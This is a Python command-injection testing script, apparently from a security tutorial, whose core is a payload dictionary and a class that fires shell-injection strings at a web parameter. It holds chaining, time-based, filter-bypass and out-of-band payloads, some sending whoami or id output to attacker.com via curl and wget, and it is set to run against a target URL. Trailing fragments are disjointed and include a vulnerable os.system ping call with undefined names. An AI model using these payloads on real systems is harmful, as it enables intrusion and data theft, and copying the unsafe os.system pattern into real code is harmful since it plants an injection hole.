"""
Command Injection Vulnerability Tester
"""
import requests
import time
import socket
class CommandInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
PAYLOADS = {
'basic': [
"; id",
";id",
"; id;",
"| id",
"|id",
"&& id",
"|| id",
"& id",
"`id`",
"$(id)",
"%0aid",
"\nid",
"\r\nid",
],
'with_prefix': [
"127.0.0.1; id",
"127.0.0.1 | id",
"127.0.0.1 && id",
"127.0.0.1 || id",
"test.txt; id",
"test; id",
],
'blind_time': [
"; sleep 5",
"| sleep 5",
"&& sleep 5",
"|| sleep 5",
"`sleep 5`",
"$(sleep 5)",
"& ping -n 5 127.0.0.1",
"| ping -n 5 127.0.0.1",
],
'oob': [
"; nslookup attacker.com",
"| nslookup attacker.com",
"; curl http://attacker.com/$(whoami)",
"| wget http://attacker.com/$(id)",
],
'bypass': [
";{id}",
";$IFS$9id",
";${IFS}id",
";\tid",
"';id;'",
'";id;"',
"%3Bid",
"%7Cid",
],
}
def test_basic_injection(self, param='host'):
"""Test basic command injection"""
print("\n[*] Testing basic command injection...")
for payload in self.PAYLOADS['basic'] + self.PAYLOADS['with_prefix']:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
if 'uid=' in response.text and 'gid=' in response.text:
print(f"[VULN] Command Injection!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Command Injection',
'payload': payload,
'severity': 'Critical'
})
return True
if 'www-data' in response.text or 'root' in response.text or \
'apache' in response.text or 'nginx' in response.text:
print(f"[VULN] Possible command injection!")
print(f" Payload: {payload}")
except Exception as e:
pass
return False
def test_blind_injection(self, param='host'):
"""Test blind/time-based command injection"""
print("\n[*] Testing blind command injection (time-based)...")
start = time.time()
self.session.get(self.url, params={param: 'test'}, timeout=30)
baseline = time.time() - start
for payload in self.PAYLOADS['blind_time']:
try:
start = time.time()
self.session.get(
self.url,
params={param: payload},
timeout=30
)
elapsed = time.time() - start
if elapsed > baseline + 4:
print(f"[VULN] Blind Command Injection!")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s (baseline: {baseline:.2f}s)")
self.findings.append({
'type': 'Blind Command Injection (Time-based)',
'payload': payload,
'response_time': elapsed,
'severity': 'Critical'
})
return True
except requests.exceptions.Timeout:
print(f"[VULN] Blind Command Injection (timeout)!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Blind Command Injection',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_oob_injection(self, param='host', callback_server='YOUR-COLLABORATOR'):
"""Test out-of-band command injection"""
print("\n[*] Testing OOB command injection...")
oob_payloads = [
f"; nslookup {callback_server}",
f"| nslookup {callback_server}",
f"; curl http://{callback_server}/$(whoami)",
f"| wget http://{callback_server}",
f"`nslookup {callback_server}`",
]
for payload in oob_payloads:
try:
self.session.get(
self.url,
params={param: payload},
timeout=10
)
print(f" Sent OOB payload: {payload[:40]}")
except Exception as e:
pass
print(f" [INFO] Check {callback_server} for callbacks")
def test_bypass_techniques(self, param='host'):
"""Test filter bypass techniques"""
print("\n[*] Testing bypass techniques...")
for payload in self.PAYLOADS['bypass']:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
if 'uid=' in response.text:
print(f"[VULN] Bypass successful!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Command Injection (Bypass)',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("COMMAND INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo command injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload']}")
def run_tests(self, param='host'):
"""Run all command injection tests"""
self.test_basic_injection(param)
self.test_blind_injection(param)
self.test_bypass_techniques(param)
self.generate_report()
tester = CommandInjectionTester("https://target.com/api/ping")
tester.run_tests()
import subprocess
os.system("ping " + user_input)
subprocess.run(["ping", "-c", "4", user_input],
shell=False,
capture_output=True)
import re
def safe_ping(host):
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
raise ValueError("Invalid hostname")
subprocess.run(["ping", "-c", "4", host], shell=False)